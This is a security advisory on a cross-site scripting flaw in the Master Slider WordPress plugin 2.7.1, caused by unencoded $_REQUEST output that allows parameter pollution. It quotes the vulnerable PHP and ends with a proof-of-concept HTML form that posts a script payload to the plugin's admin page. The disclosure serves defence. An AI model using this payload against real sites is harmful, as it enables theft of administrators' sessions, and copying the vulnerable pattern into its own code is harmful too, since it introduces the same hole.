Advisory

Yorick Koster, July 2016

Cross-Site Scripting vulnerability in Master Slider WordPress Plugin

Abstract

A Cross-Site Scripting vulnerability was found in the Master Slider WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

OVE ID

OVE-20160712-0013

Tested versions

This issue was successfully tested on Master Slider - Responsive Touch Slider WordPress Plugin version 2.7.1.

Fix

This issue is resolved in Master Slider version 2.8.0.

Introduction

The Master Slider WordPress Plugin is a free responsive image and content slider with super smooth hardware accelerated transitions. It supports touch navigation with pure swipe gesture that you have never experienced before. It's a truly responsive and device friendly slider which works perfectly in all major devices. A Cross-Site Scripting vulnerability was found in the Master Slider WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

Details

The issue exists in the file class-msp-list-table.php and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below.

return sprintf('<a href="?page=%s&action=%s&slider_id=%s">%s</a>',$_REQUEST['page'],'edit', $item['ID'], $item['title'] );
   
[...]
   
$buttons .= sprintf( '<a class="action-duplicate msp-ac-btn msp-btn-gray msp-iconic" href="?page=%s&action=%s&slider_id=%s%s"><span></span>%s</a>',$_REQUEST['page'],'duplicate' ,$item['ID'], $paged_arg, __('duplicate') );
   
[...]
   
$buttons .= sprintf( '<a class="action-delete msp-ac-btn msp-btn-red msp-iconic" href="?page=%s&action=%s&slider_id=%s%s" onClick="return confirm(\'%s\');" ><span></span>%s</a>', $_REQUEST['page'],'delete' ,$item['ID'],
   
[...]
   
$buttons .= sprintf( '<a class="action-preview msp-ac-btn msp-btn-blue msp-iconic" href="?page=%s&action=%s&slider_id=%s" onClick="lunchMastersliderPreviewBySliderID(%s);return false;" ><span></span>%s</a>',$_REQUEST['page'],'preview' ,$item['ID'], $item['ID'], __('preview') );


Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter.

Proof of concept

<html>
   <body>
      <form action="http://<target>/wp-admin/admin.php?page=master-slider" method="POST">
         <input type="hidden" name="page" value="&quot;<script>alert(document.cookie);</script>" />
         <input type="submit" value="Submit request" />
      </form>
   </body>
</html>

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